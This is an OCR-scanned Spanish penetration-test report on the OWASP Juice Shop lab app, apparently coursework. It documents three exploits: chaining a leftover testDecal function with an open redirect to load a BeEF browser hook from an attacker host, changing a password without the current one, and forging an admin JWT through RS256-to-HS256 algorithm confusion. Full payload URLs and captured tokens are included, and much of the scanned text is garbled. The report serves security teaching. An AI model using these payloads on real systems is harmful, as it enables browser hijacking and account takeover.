VUL_014 — CROSS SITE IMAGING

CROSS SITE IMAGING

DESCRIP

EVIDENC

9,0 CRITICA

http://192.168.1.41:3000/#/deluxe-membership?testDecal=

Se encuentra en el cddigo javascript una funcion de pruebas para el desarrollo que
no ha sido borrada. La funcién permite insertar una imagen como logo en la pagina
de deluxe.

Ademads, la misma funcién hace uso de las redirecciones, permitiendo de esta
manera cargar cédigo malicioso en la aplicacion

Con la siguiente inyeccién cambiamos el logo:

http://192.168.1.41:3000/#/deluxe-
membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttp:%2F%2F192.
168.1.69:5555%2Fbender.png%3Fhttps:%2F%2Fblockchain.info%2Faddress%2F1A
bKfgvw9psQ41NbLi8kufDQTezwG8DRZm.. %2F.. %2F.. %2F..%2F..%2F

= i OWASP Juice Shop

Con la siguiente inyeccion, cargamos en el navegador de la victima un programa de
seguimiento del navegador:
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RIESGOS

RECOME
NDACIO

NES
REFEREN
CIAS

Esta vulnerabilidad en si unida a la vulnerabilidad de open redirect nos permite
elaborar ataques contra usuarios y administradores que nos permitiran infectar sus
navegadores para espiar, obtener sesiones y mucho mas.

Caida del prestigio de nuestra aplicacién si la gente se da cuenta de que, en nuestra
web, se vulneran sus navegadores.

Peligro de perdida de confidencialidad, integridad y disponibilidad de los datos
porque puede dar lugar a capturas de informacién sensible, como usuarios
administradores entre otras cosas.

Robo de informacién de pago de nuestros clientes.
Explotacion del trafico a nuestra tienda para fines maliciosos de terceros.
Las funciones creadas por desarrolladores para testear funcionalidades deben ser

eliminadas antes de poner los sitios en produccion o pueden dar lugar a accesos y
vulnerabilidades no deseadas en la aplicacion.

https://cwe.mitre.org/data/definitions/601.html

https://www.zaproxy.org/docs/alerts/10028/

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_014 OPEN REDIRECT

CVSS3 PUNTUACION CRITICA 9,0

Vector de Ataque Se accede desde internet.

Baja, no se requieren circunstancias especiales para explotar la

etk vulnerabilidad.

Privilegios requeridos

Interaccion del usuario

Baja, es necesario hacer una cuenta basica para poder ejecutar dicha
funcion.

Requerida, aunque la vulnerabilidad por si sola se puede ejecutar y
demostrar sin requerir la intervencion de ningln usuario, su
peligrosidad reside en el hecho de que se engafie a un usuario para
conseguir capturar su sesion, espiar su navegador, etc.

Alcance Con cambios, pues la vulnerabilidad afecta a la aplicacién, pero
puede terminar afectando al navegador de los usuarios
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Confidencialidad Alta, si a través de ella se logra un acceso administrador

Integridad Alta, si a través de ella se loga un acceso administrador

Disponibilidad Alta, si a través de ella se logra un acceso administrador

EXPLOTACION

Inspeccionando como se cargan la imagen del logo en las cajas de la pagina deluxe membership
encontramos ciertas funciones:

= . OWASP Juice ShOp Q e Account ! ‘Your Basket @ EN

Deluxe Membership

Enjoy amazing benefits as a a deluxe customer of OWASP
Juice Shop. Check out what is included with your membership

Deals and
Offers Free Fast

Unlimited

As a deluxe EETERY Purchase
member, you get Get unlimited free _ 5
B Enjoy unrestricted
access to Fast Delivery for
purchase of your

exclusive deals all products in the .
R favourite products.
and irresistible shop.
offers.

Fig. 1: Imagen de la pdgina “deluxe membership”.
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. OWASP Juice Shop

[ Storoge T Accesiblly § Apoication ) CockieEdior 1 Memery

[Referencia a La url que nos interesa

B [Constructor del objeta que contiene [a ruta al logo

ot

[PaPmetro testDecal en laurl
et imdlre. o soplicatiom, e = cation oot | {

: Tastindesdt{ /) + 4

""" [Lopasado en el testDecal se inserta como imagen |

Fig. 2: Imagen del codigo donde figura la funcion “testDecal”.

Se observa que hay una funcidon llamada testDecal que permite cargar una imagen a través de una
peticion GET.

Para comprobarlo, hacemos una peticidon con dicho pardmetro a una imagen inexistente. Como se
observa en la figura 3, la imagen de logo desaparece de las cajas, lo que indica que claramente, la
funcion la afecta.

. OWASP Juice Shop

Deluxe Membership

Enjoy amazing benefits as a a deluxe customa Shop. Check out what is included with yo

Deals and Offers

Frea Fast Delive
Get unlimited f s
al t

Fig. 3: Imagen de la pdgina “deluxe membership” con llamada a la funcion “testDecal” usando pardmetro no
vdlido.

Para insertar una imagen externa o un payload de una web maliciosa, debemos poder llamar a un
archivo remoto, y para ello haremos uso de la funciéon redrirect?to=y la vulnerabilidad de
openrediredirect.

Para inyectar una imagen remota en nuestro servidor lo haremos con el siguiente payload:

http://192.168.1.41:3000/#/deluxe-
membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttp:%2F%2F192.168.1.69:5555%2F
bender.png%3Fhttps:%2F%2Fblockchain.info%2Faddress%2F1AbKfgvw9psQ41NbLi8kufDQTezwG8D
RZm..%2F..%2F..%2F..%2F..%2F
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@ owase juice shop

Deluxe Membershi

s as a a deluxe cus

Deals and Offers. imited Purchase

tricted purck

Fig. 4: Pdgina “deluxe membership” con una imagen de nuestro gusto insertada

Elaborando un poco mas el ataque, podemos cargar el codigo de la herramienta BEEF para poder
hacer seguimiento de los navegadores que visiten esta pagina con sesién iniciada. El cédigo del
payload seria el siguiente, donde http://192.168.1.69:5555/beef.html seria el archivo malicioso a
cargar:

http://192.168.1.41:3000/#/deluxe-
membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttp:%2F%2F192.168.1.69:5555%2F
beef.html%3Fhttps:%2F%2Fblockchain.info%2Faddress%2F1AbKfgvw9psQ41NbLi8kufDQTezwG8DR
Zm.. %2F.. %2F. . %2F.. %2F.. %2F

€ > C O AnNot 192.168.1.41 e - ect%3Ft ) £.ht ty i fo sQ4 fDQTez > r

it Apps Kali Linux Kali Tools KaliDocs X Kali Forums Kali NetHunter  OffSec Exploit-DB Google Hackin. ¥ Sprocket Secur @ HackThe Box... ploitabl @ Tinoco Linares. ns Codebase 101

. OWASP Juice Shop Archivo  Acciones Editar Vista Ayuda

olPanel X +

C 8 | © 127.0013

o Zombes Current Browser

4330192168169
02 8% 72152168169

hardware gou vendar

Fig. 5: Imagen de la captura de navegador con la herramienta BEEF a través de la vulnerabilidad descrita.
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http://192.168.1.41:3000/#/deluxe-membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttp:%2F%2F192.168.1.69:5555%2Fbeef.html%3Fhttps:%2F%2Fblockchain.info%2Faddress%2F1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm..%2F..%2F..%2F..%2F..%2F
http://192.168.1.41:3000/#/deluxe-membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttp:%2F%2F192.168.1.69:5555%2Fbeef.html%3Fhttps:%2F%2Fblockchain.info%2Faddress%2F1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm..%2F..%2F..%2F..%2F..%2F

VUL_015 - CHANGE BENDER’S PASSWORD —

DESCRIPCION

EVIDENCIA

RIESGOS

Errores de autenticacion

CHANGE BENDER’S PASSWORD - Errores de autenticacion

8,8 ALTA

http://juice.shop/rest/user/change-
password/?current=a&new=b&repeat=b

La aplicacion no valida debidamente las entradas de datos desde el back
end y la mayoria de filtros se encuentran solo en el front end. Esto
permite a un usuario malintencionado capturar las peticiones filtradas
que se envian desde el front end para alterarlas maliciosamente y
enviarlas al back end produciendo resultados inesperados.

En este caso, la vulnerabilidad nos permite cambiar la contrasefia de un
usuario con el que previamente habremos iniciado sesién a través de
una inyeccion SQL sin necesidad de conocer las credenciales originales
debido a que las peticiones que recibe el back end no estan
debidamente tratadas.

Esta vulnerabilidad permite a una persona que capture una sesion de
usuario cambiar su contrasefa de acceso.

R Response
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Imagen de una peticién de cambio de contraseiia en la que no se usa el
pardmetro “current” que deberia contener la contrasefa actual y a
pesar de ello, cambia la contrasefia del usuario.

Un atacante malintencionado podria cambiar la contrasefa de
cualquier usuario o administrador de la tienda para luego, realizar otros
cambios como cambiar el correo de recuperacion, etc., de modo que
secuestraria completamente la cuenta del mismo.

El dafio puede ser muy variable en funcién del tiempo que pasara hasta
qgue se detectara el ataque, las acciones realizadas en las cuentas, la

86



RECOMENDACIONES

REFERENCIAS

Vul_015

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

capacidad de los administradores para responder al ataque y otras
variables.

Potencialmente podria dafar seriamente la reputacion de la empresay
causar problemas a los clientes.

Es necesario siempre que las peticiones al back end estén debidamente
filtradas por el mismo, no basta con que los filtros se instalen solo en el
front end porque es realmente sencillo capturar estas peticiones y
alterarlas.

En este caso, el backend deberia validar la contrasefia antigua antes de
aceptar el cambio e insertar la nueva.

https://cwe.mitre.org/data/definitions/287.html

EVALUACION DE CRITICIDAD CVSS 3.1

CHANGE BENDER’S PASSWORD — ERRORES DE AUTENTICACION

ALTA 8,8

Red: el ataque se puede montar a través de Internet.

Baja, la explotaciéon se logra a través de una simple captura y
alteracion de los parametros enviados al servidor

Bajos, se requiere acceso con una cuenta de usuario. Si tenemos en
cuenta que es posible conseguirlo con una inyeccién SQL simple
podemos capturar los datos de cualquier usuario.

Ninguna, el atacante puede acceder a la informacidn sin requerir
ninguna accion por parte de otros usuarios

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion

Alta, teniendo en cuenta su unién con la inyeccién SQL del login
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Alta, teniendo en cuenta su unién con la inyeccién SQL del login pues
nos permitiria alterar datos de acceso a la aplicacion

Integridad

Alta, pues nos permite secuestrar una sesion y hacer que el usuario

Disponibilidad no pueda acceder.

EXPLOTACION

Cuando analizamos la pagina de cambio de contrasefia podemos ver como se solicita la antigua, lo
cual es una buena practica de seguridad.

Change Password

Desde el font end, no nos permitira enviar ninguna peticién al back end sin que se ponga
correctamente la contrasefia antigua. No obstante, el back end si nos aceptara una peticién de
cambio de contrasefa, aunque no pongamos la antigua.

Por ello, interceptamos una peticion legitima:

Modificamos cuanto necesitemos. Por ejemplo, si hemos secuestrado una sesién, podriamos
cambiar el valor de la cookie y del bearer token para cambiar la contrasefia de dicho usuario.

Seguidamente, el parametro “current” que es el que lleva la contrasefia antigua, se dejard en blanco.

Se enviara dicha peticidn al back end y la contraseina del usuario se cambiara:
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B B 0

an

1 GET frest/user/change-password?current=tnew=slurncldssicarepeat=slurnclassic| HITR/1.1 1 HITR/1.1 200 OK
Host: 192, 168,42, 194: 3000 Access-Control-Allow-Origin: *
User-Agent: Mozilla/s.a (X11; Linux x86.64; rv:81.0) Gacke/20100101 Firefox/91.0 X-Content-Type-Options: nosniff

2 accept: application 2o, text/plain, /e
Accept-Language: en-Us,e
Accept-Encoding: gzip. Seitate

7 Autharization
£yJ08XAL 01 JKVLQLLCObGEL 01 JSUZT MG 09, 702 dGROGHMS 01 D2 dWN] ZXNZ 11wl ZGFOY S16¢ y JpZEL 6Mywi dxNLenis
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JEmGT 0111w SXNEY IRpdmLi CriRydWLIsT iy ZWFOZWRBACT 61 ] 1wM) T tMOUEM] Lig) ESNDGEM] YuN] QLT CswMDowMCT
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_2TrKvzl2ein] jeFez- evmazsk

Connection: close

Referer: http://192.168,42,194: 3000/

welcomebanner_status=dismiss; cookieconsent_status=dismss;

GnST xi 054V xkShDd 7w vaxzBLemkRnqZpVyX;
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hbai 01 ‘m3 L bwRLckBadWl j cClsInghcsnsba)

i Zn2;Njcom ybxl1j0i¥3v2dGatZXIiLEIk Zex 1eGVUb2t 1bi 16T 1

 X-Frame-Cptions: SAMEORIGIN
Feature-Policy: payment ‘ssli’
Contant-Type: spplacation/jsan; charset=utf-g

Hay 20 2 22:41:13 GMT

Connection: close

custamer®

doLg;
10d5g ) BSNZpr 0FPLm2ge

: 1mages/uf default, svg"

“profilelmage" :
totpSecret:"t,
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2022
2.

allenge: Login Bender {Log in er's user account.)

Change Password
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VUL _016 — Forge Signed JWT - Autenticacion y

Vul_016

DESCRIPCION

Autorizacion

Forge Signed JWT

9,8 CRITICA

http:juice.shop/rest/user/whoami

Toda la aplicacién en si

Un Token JWT es un formato estandar y seguro de trasmitir Claims
(propiedades, afirmaciones o en general informacidn) entre diferentes
sistemas que permite ser verificado gracias a la criptografia a través de
la firma digital.

El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada
mensaje. El algoritmo RS256 usa la clave privada para firmar el mensaje
y usa la clave publica para la verificacion. Ambos pueden usarse con los
JWT Token.

Los Token JWT de juice.shop usan el algoritmo RS256 de forma habitual
porque es mucho mds seguro. Sin embargo, la aplicacién sigue
soportando el algoritmo HS256 y si un usuario edita y cambia el valor del
JWT Token respecto al algoritmo, se fuerza a la aplicacidn a usar dicho
sistema.

Si cambia el algoritmo de RS256 a HS256, el codigo de back end usa la
clave publica como la clave secreta y luego usa el algoritmo HS256 para
verificar la firma.

Debido a que el atacante puede obtener la clave publica, puede
modificar el algoritmo en el encabezado del JWT Token a HS256 y luego
usar la clave publica RSA para firmar los datos creando un token valido
gque podrd usarse para autenticarse en la aplicacion como un usuario
administrador.

Esta vulnerabilidad aparece porque la validacién del lado del servidor
admite mas de un algoritmo de cifrado como (HS256 y RS$256)
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Encoded Decoded
HEADER: ALGORITHM & TOKEN TYPE
eyJBeXA101JKV1QiLCJhbGei0iJIUZITNIJG. ey
JzdGFadXMi0iJzdWNIZXNzTiwiZGFBYSI6eylpZ { r
“typ”: "HT",

CI6MSwidXN1lemShbWUi0iIilCJ1bWFpbCI6Indz
YV9sb3JkQGp1aWN1LnNoLmOwIiwicGFze3dvemQ }
10iIwMTkyMDIzYTdiYmQ3MzITMDUXNmYwN] 1kZ ]
E4YjUwMCTsInJvbGUi0iJhZG1pbiIsImR1bHVAZ
VRvaZVuljoiliwibGFzdExvZ21uSXA10iIwLjAu
MCAWTiwicHJIVZm1sZULtYWd1TjoiYXNzZXRzL3B
1YmxpYy9IpbWFnZXMvdXBsb2Fkcy9kZWZhdWx8aw
RtaW4ucGSnIiwidG9@cFN1Y3J1dCI6IiIsImlzQ
WN@aXZ11jpBenV1LCJjemVhdGVkQXQi0iTyMDIy
LTASLTIyIDIy0jE40jAxLiY3MiArMDAGMDAILCS
1cGRhdGVKQXQ10iTyMDIyLTA3LTIyIDIy0jE40j
AxLjY3MiArMDA6MDAILCJKZWx1dGVkQXQi0mS1b
Gx9ILCIpYXQi0FEZNTGTIMjkwMTksImV4cCIBMTY
0DUBNzAx0X@ . jBBG7NEmKG4QBQHk SRbLYDASBiD
211BKoeOszdf2_be

alg”: “HS256

PAYLOAD: O

tAdmin. png

Captura de parte del proceso de creacion de un token falso con usuario
inexistente rsa_lord@juice-sh.op con rol de administrador. Observemos
como el parametro "alg” se cambia a "HS256"” para poder usar una firma

EVIDENCIA

a través de la clave publica.

cancel |[<]7])

2 Host: 192.168.1.41:3000
2 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:S1.0)
Gecko/20100101 Firefox/91.0
4 Accept: application/json, text/plain, */*
S Accept-Language: en-US,en;g=0.5
6 Accept-Encoding: gzip, deflate
7 Buthorization: Bearer
eyJ0eXAL01JKV1QLLCIhbGe1 01 JIUZI INL J9. ey zdGFOA XML 010
20N} ZXNzZT 1 wi ZGFOY ST Gey IpZCT 6MSwi dXNLemShbWLE 0111 L.C)
LbWFpbCI6InJz1V9sh31kaGp LaWNLLnNoLmSwl iwi cGRzc3dvemg
101 TwMTkyMDI ZYTd1YmQ3MzT IMDUxNmYwN] TkZjE4Y j UwMCISINg
vbGULO1 IhZG1pbiIsIMRLbHVAZVRva2vul joiliwlbGFzdExvz2l
USXAL O Twlj AUMCAwT i wicHIvZmLsZULtYWd LT joi Y ¥NzZXRzL 38
1YmxpYy SpbWFnZXMvdXBsh 2Fk ¢y ok ZWZhdWx OQWRt aWAuC GSNIiw
1dGo0cFNLY2I 1dCI 611 IsImlzQWNeaXZ 1T jpoenV1LC) JemvhdGy
kQXQL01 TyMDT yLTASLTTyIDTy0]EAO] AxL]Y3Mi ArMDAGMDALLC)
1cGRhAGVKQXQLO1 T yMDTyLT A3LTIyIDIy0jE40] AxL]Y3MiArMDA
BMDALLCIkZwx 1dGukQxQLomS b GxSLCIpY XQl 0 E2NTg1M] kwMTk
SImVAcCTBMTY LODUONZ AXOXO. tUL - FLOFKo1NsD- 1x LCiNRTLoAj]
A4qnSw20rliSyepa
Connection: close
Referer: http://182.158.1.41:3000/
Cookie: language=en; welcomebanner_status=dismiss;
cookieconsent_status=dismiss; continueCode=
roJDs8qLzkB4ds7uzhmtmTRUgT leolRSLULaf X1HY PSZvsynoolZ
njlWgXa7; continueCodeFindIt=
pYynakgQnVKbpOGakaxdy 13ey X85q tmER7BLDMyS21 EoONEr IPj
zmwjo2rb; continueCodeFixIt=
BubYBYpOzqMmO] AQRWZEXwDASVK xSPhS13Z6BLbK7Grvgy SNnBI 1
08SDOKYN; token=
eyJ0eXAi 01 JKV1Q1 LCIhbGei ol JTUZI ING J9. ey zdGFOd XM 01
ZdwNj ZXNzI 1wl ZGFOYSI6ey JpZCIeMSwl dXNLemShbwuioLIiLC)
LbWFpbCI 6 zYV8sh33kaGp LabNLLnNoLmSwT iwi cGRzc 3dvemg
101 TwMTkyMDI zYT diYmQ3MzT IMDUxNmYwNj Lk ZjE4Y j LWMCISInd
vbGULO1 IhZG1phi IsIMRLbHVAZVRva2vul joillwibGFzdExvz2l
USXALOL Twl AUMCAWT i wi cHIvZmLsZULLYWdLT joi Y XNz ZXRzL 38
1¥mxpYy SpbWFnZXMydXBsh2Fk ey Sk 2WZhdx OQWRt aWAuc GSnIiw
1dGo0cFNLY3I1dCI 611 IsImlzQwNeaXZ1I jpoenv1LC) jemvhdGy
kQXQLO1TyMDI yLTAZLTIYIDIy0]E40] AxL]Y2MLArMDASMDALLCT
1cGRhdGVkQXQLOL T yMDT yLTASLTIyIDIy0jE40] AxL]Y3MiArMDA
BMDALLCIkZx LdGVkQXQ10mS 1bGrSLCIpY XQi 0JE2NT g 1M] kwMTk
SImVAcCI6MTY LODUONZ AXOXQ. tUL- FLOFKo1NsD- 1xLCiNRTLoA]
Adgnsw20rlisyepd|

Swwm

11
12

Response

Raw Hex Render

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff

X-Frame-Options: SAMECRIGIN

Feature-Policy: payment 'self'

Set-Cookie: token=
eyJ0eXAL0LIKV1QLLCIhbGC101JIUZI 1IN IS, ey JzdGFOd XML O1)
2dWNj ZXNzT 1 wi ZGFOYST Gey JpZCI 6MSwi dXNLemShbWLi 01111 CJ
1bWFpbCI6InI 2 V9sh31kQGp LaWNLLnNoLmowl iwi cGRzc3dvemq
101IwMTkyMDIZYTd1YmQ3MzI LMDUxNmYwN] LkZ] E4Y JUwMCISInd
vbGUi 01 IhZ61pbi TsTmRLbHVAZVRva2VuT 01 Tiwi bGFzdExvzzl
USXAL 0 TwLj AUMC4wI 1wi cHIvZmlsZULtYWd 1T j 01 ¥ XNzZXRzL 3B
1¥YmxpY yopbwFnZXMvdxBsb2Fkey sk ZwZhdwx0QwWRtawaucGsnI iw
1dGIOcFNLY 3] LdCI611IsIml zQwNOaXxZ1I JpecnviLcljemvhdGy
kQXQi 03 TyMDI yLT ASLTIyIDI yOjEA0] AxLjY3Mi ArMDABMDALLC)
1cGRhdGVKQXQL 01 TyMDT yLTASLTLyIDIY0] E40] AxLjY3MLArMDA
6MDAL LCI k 2wx LdGvkQXQLOmS LhGxSLCIpY XQ1 0] E2NTg1M] kwTk
STMVAcCIBMTY 10DUONZ AXOXO. tUL - FLOFK01NsD- 1x LCINRTLoAj
AdqnSwzOrliSyepd; Path=/

7 Content-Type: application/jsen; charset=utf-g

2 Content-Length: 135

9 ETag: W/"87-6PuXycxfp7Modk XO0SOFEMNpi y4"

10 Vary: Accept-Encoding

11 Date: Fri, 22 Jul 2022 23:01:28 GMT

12 Connection: close

w - B

ouew

"rsa_lord@juice.sh.op",
"lastloginIp":"0.0.0.0",

"profileImage" :
"assets/public/images/uploads/defaultadmin.png"

INSPECTOR
Request Attrib
Query Parame
Body Paramet:
Request Cookic
Request Headk

Response Heac

@& [€)[3] [search | omatches  (2)£83 (€[] [ search | 0matches

Captura de la peticién enviada con el token creado a /rest/user/whoami
en donde vemos que efectivamente, se nos considera un usuario real y
con permisos de administrador.

Un usuario malintencionado puede forjar un token con niveles de
autorizacion de administrador para hacer y deshacer dentro de la
aplicacidn todo aquello que le este permitido por su rol.

RIESGOS

RECOMENDACIONE
) encontramos la clave publica para generar el token.

El directorio /encryptionkeys/ no deberia ser navegable pues en el
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Complejidad
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Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Se deberia deshabilitar algoritmos simétricos del JWT Token para evitar
gue se pudiera realizar este ataque

https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5ed
27

https://jwt.io

https://www.developerro.com/2019/03/12/jwt-api-authentication/

EVALUACION DE CRITICIDAD CVSS 3.1

Forge Signed JWT

CRITICA 9,8

Red: el ataque se puede montar a través de Internet.

Baja, el ataque se puede montar en cualquier momento sin necesidad
de que se den circunstancias especiales para ello.

Ninguno, el ataque en si se puede llevar a cabo sin necesidad de crear
cuenta de usuario. No obstante, para el andlisis de la aplicacién y la
deteccion de la vulnerabilidad lo normal es que se use una cuenta de
cliente que cualquier persona pueda obtener.

Ninguna, el atacante puede acceder a la informacion sin requerir
ninguna accion por parte de otros usuarios.

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion.

Alta, porque permite acceder como administrador y vulnerar la
confidencialidad de los datos.

Alta, porque permite acceder como administrador y vulnerar la
integridad de los datos.

Alta, porque permite acceder como administrador y vulnerar la
disponibilidad de los datos.
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https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5e427
https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5e427
https://jwt.io/
https://www.developerro.com/2019/03/12/jwt-api-authentication/

EXPLOTACION

Para poder forjar con éxito nuestro token, hemos visto que tenemos que usar la clave publica del
servidor. En juice.shop la podemos descargar desde el directorio /encryptionkeys/ que se encuentra
desprotegido.

Esta es una peculiaridad de juice-shop que no estd usando encriptacidn ssl. Sin embargo, en un
servidor generalmente obtendremos esta clave a través de nuestro propio navegador, tal y como se
explica en el siguiente link:

https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5e427

~ I encryptionkeys |

FORMATO DE UN JWT TOKEN

e Un header, generalmente consiste en dos valores:
o El algoritmo que se ha usado para firmar el token.
o Eltipo de token, que es “JWT”.
e Un payload compuesto por claims o informacién que pueden ser:
o Registrados
o Publicos
o Privados
e Y una firma digital a partir de las claves y el contenido del propio JWT.

FIRMA DIGITUAL CON ALGORITMO HSA256

En este caso, tanto la encriptacidon como la verificacion del token se realizan con criptografia
simétrica usando la clave publica del servidor.

El proceso para crear la firma es como se describe:
signature = HSA256(

encodeURI(base64(header))

+ "

encodeURI(base64(payload)),

secret (clave_publica)
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https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5e427

EL TOKEN COMPLETO

Para ponerlo todo junto usaremos el mismo formato que el firmado, afiadiendo la firma:

header=1{...}

payload ={... }

content = encodeURI(base64(header)) + "." + encodeURI(base64(payload))
signature = RSA256(content, private_key)

JWT = content + "." + encodeURI(signature)

“n

El resultado nos arroja un texto que separa con un “.” (punto) el contenido del token y la firma.

CAPTURA DE UN TOKEN

Creamos un usuario normal y capturamos su token con burp. Este token también podria conseguirse
de otras formas, como por ejemplo a través de la vulnerabilidad XSS ya listada y no se requeriria de
crear una cuenta de usuario. Ademas, como hemos explicado, para el ataque en si no es necesario
usar una cuenta de usuario.

Una vez hemos capturado el token, vamos a editar. Para ello nos podemos valer de la pagina:
https://jwt.io

[V [V
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Fig. 1: Edicion de un JWT Token
Aqui podemos ver como el token original de la aplicacién usa como cifrado el RS256.

Podemos ver como también lleva en si el parametro “role” que en este caso es del administrador.
Esto es algo que nos interesa que este asi cuando creemos nuestro token falso para que nuestro

usuario tenga los maximos permisos posibles.

Cambiaremos también el cifrado del header y lo pondremos a HS256 y el correo lo pondremos a

rsa_lord@juice-sh.op

Para la edicidn del Token e incluso para la generacidon de la firma podemos valernos de esta

herramienta:

JWT Decoder, Verifier, Generator, Decryptor

For information on JWT see IETF RFC 7519.

version 10682

[
eyJ0eXAi0iJKV1QiLCIhbGci0iJIUZI1INi)9.eylzd
GFOAXMi01JzdwN]jZXNzIiwiZGFOYSI6eylpZCI6MSw
1dXNLcm5hbWUi0iIilCI1bWFpbCI6InIZYVIsb3IkQ
GplaWN1LXNoLm9wIiwicGFzc3dvemQiOiIwMTkyMDI
ZYTdiYmQ3MzIIMDUxNmYwN] LkZjE4YjUwMCIsInJvb
GUi0iJhZGlpbiIsImR1bHV4ZVRva2VuljoiliwibGF
Z2dExvZ21uSXA10iIwL]jAuMCAwIiwicHIvZmlsZULtLY
Wd1IjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2F
kcy9kZWZhdWxBQWRtaW4ucG5nIiwidGIOCFNLY3Ild
CI6IiIsImlzQWNOaXZ1Ijp@cnV1LCIjcmVhdGVkQXQ

101 TyMDIyLTA4LTHXIDIYOJE40I AXLIYBUIATMDAGN oo

DAiLCJ1cGRhdGVkQXQi0iIyMDIyLTA4LTMxIDIYOjE
40jAxLjY3MiArMDAGMDALCIkZWx1dGVkQXQiOm51b
Gx9LCIpYXQi03E2NTg1M] kwMTks ImV4cCI60TY10DU
ONzAX0X0.ubyexegoe8hyFTTsSMvTBLct1W4 -gyw3e
VAXMKnznA4

Jwt . pub
-----BEGIN RSA PUBLIC KEY
MIGJAOGBAM3CosR73CBNcIsLv5SE9ONsFt6qN1uziQ484gb0oule8leXHFbyIzPQRozgEpSpiwhred2/c

END RSA PUBLIC KEY

}

"typ": "IWT",
"alg": "HS5256"
()]

"status": "success",
"data": {

"id": 1,

"username": ""

"email": "rsa lord@juice-sh.op",

"password": "0192823a7bbd73250516f069df18b500",

"role": "admin",

"deluxeToken": ",

"lastLoginIp": "0.0.0.0",

"profileImage": "assets/public/images/uploads/defaultAdmin.png",

"totpSecret": ""

"isActive": true,

"createdAt": "2022-08-31 22:18:01.672 +00:00",

"updatedAt”: "2022-08-31 22:18:01.672 +00:00",

"deletedAt": null
+
"iat": 1658529019,
"exp": 9658547019

(] [wa]

‘ MIGJA0GBAM3CosR73CBNcIsLv5E9ONsFt6gN1uziQ484gbOoule8leXHFbyIzPQRozg Ep!‘

Basetd v

Para poder realizar la firma debemos usar la clave descargada:

@CTZHEI3m5tVek1lxfjfM70qjRMURNH/TmBjcETQ7qzI1SZQ/iptI3p76i78X5ZMhLNtDkUFUIWaGdiED
+SnC39wjErmISTmGb711AgMBAAE=

Finalmente, copiamos el token en el repetar de burp y veremos cdmo podemos acceder a la
aplicacion con éxito como administradores.
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Request

Ue wr

~ o

© @

=
o

11
1z

OIIGIER

Hex \n =

Host: 192.168.1.41:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:S1.0)
Gecko /20100101 Firefox/S1.0

Accept: application/json, text/plain, #/%
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Bearer
eyJ0eXA101JKV1Q1LCIhbGe101ITUzI 1IN1J9. ey) zdGFOdXM101
zdWN] ZXNz1 1wl ZGFOY SIBeypZCIEMSw1 dXNLemShbWUi 01111 CJ
1bWFpbCIGInIzY vosh31kQGp LawNLLnNoLmSwI 1wl cGFzc3dvemg
101 IwMTkyMDLzY Td1¥mQ3MzI LMDUxNmYwN] Lk Z] E4Y ] UwMCI sInd
vbGUL101 JhZG1lpb1IsImRLbHV4ZVRvaZVul jol1I1wibGFzdExvZZL
USXALOLIwL]AUMCAWIiwicHIVZmLsZULtYwdlI jolYXNzZXRzL3B8
1YmxpYy OpbWFNZXMvdXEsh 2Pk cy Ok ZWZhdwWx OQWRtaW4AUC GSNI 1w
1dGS0cFNLY 211dCIAIIISImLzQWNeaXZLI jpOcnylLC jemvhdGy
kQXQi 01 TyMDIyLTASLTTyTDIy0j EA0] AxL]Y 3Mi ArMDASMDAL L CJ
1c6RhdGVkQXQ1 01 TyMDT yLTAZL TTyIDT y0] EA0] AxL ¥ 3Mi ArbDA
BMDAL L CIk Zuix 1dGVk QX Q1 OMS1bGxSLCIpY XQi 0] EZNT g 1M kwMTk
sImMVAcCIBMTY 100UONz AXOX0. tUL- FLOFKe1 NsD- 1x1CINRT LoAj
AdqnSw20r11SYEpa

Connection: close

Referer: http://192.1568.1.41:3000/

Cookle: language=en; welcomebanner_status=dismiss;
cookleconsent_status=dismiss; continueCode=
r9J058qLzkB4d97uzhmtmT RugT lcolRSLULaf X1IHYPSZvsyn0olZ
njlWgxa7; continueCodeFindIt=
pYynakgQnVKbpOOGaWaxdyY 13eyX85qtmSR7ELDMySZLEQSNEr IP]
zmwjo2rb; continueCodeFixIt=

BWhYEY p0zqMmOj 4QRW2EXwDAOVk xSPh513Z6PLbK7Grvay8NnBI L
0eSDOKyN; token=

eyJOeXA101 JKV1GQiLCIhbGe101 ITUZI IN1 I 9. eyl zd GFOdXM101 J
zdWNj ZXNzT 1wl ZGFOY ST 6ey JpZCIBMSwi dXNLemShbwUioi T1L.C)
1bwFpbCIBINIzY vosb3IkQGp 1awNLLnNoLmSwI 1wl cGFze3dvemy
101 IwMTkyMDLzY Td1¥mQ3MzI IMDUxNmYwN] Lk 2] E4Y JUwMCIsInd
vbGU101JhZG1pb1IsImRLbHVAZVRva2Vul jo1 I1wibGFzdExvZ21
USXAL01 Twl ] AUMCAWT 1wicHIvZmlsZULtYwdlI jo1Y XNzZXRzL 38
1Y mxpY y SpbwrnZXMvdXBsh2Fk cy Sk ZWZhdwx OQwRtawWducGSnI 1w
1dGSOcFNLY 31 LdCIBI1IsImlzQWNeaxZ LI Jp@cnylLCI jemvhdGy
KQXQi 01 IyMDIYLTASLTIYIDIYO]E40] AXL] Y 3Mi ArMDASMDALLC)
